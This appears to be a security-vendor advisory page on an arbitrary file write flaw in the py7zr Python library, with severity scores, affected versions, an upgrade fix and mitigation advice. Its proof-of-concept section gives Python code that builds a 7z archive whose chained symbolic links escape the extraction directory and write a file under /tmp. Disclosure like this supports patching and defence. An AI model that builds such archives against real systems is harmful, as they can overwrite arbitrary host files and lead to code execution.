GHSA-q6rc-2cgv-63h7 — py7zr
HIGHGHSA-q6rc-2cgv-63h7 is a high-severity (CVSS 8) CWE-59 vulnerability in py7zr. A fix is available for py7zr — see the affected versions and patch details below.
py7zr: Arbitrary File Write Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-q6rc-2cgv-63h7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-q6rc-2cgv-63h7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
py7zrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")
Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)
Impact
<img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" />After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | py7zr | all versions | 1.1.3pip install --upgrade 'py7zr==1.1.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for py7zr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update py7zr to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q6rc-2cgv-63h7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q6rc-2cgv-63h7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-q6rc-2cgv-63h7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q6rc-2cgv-63h7 in your dependencies?
O3 Security finds GHSA-q6rc-2cgv-63h7 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.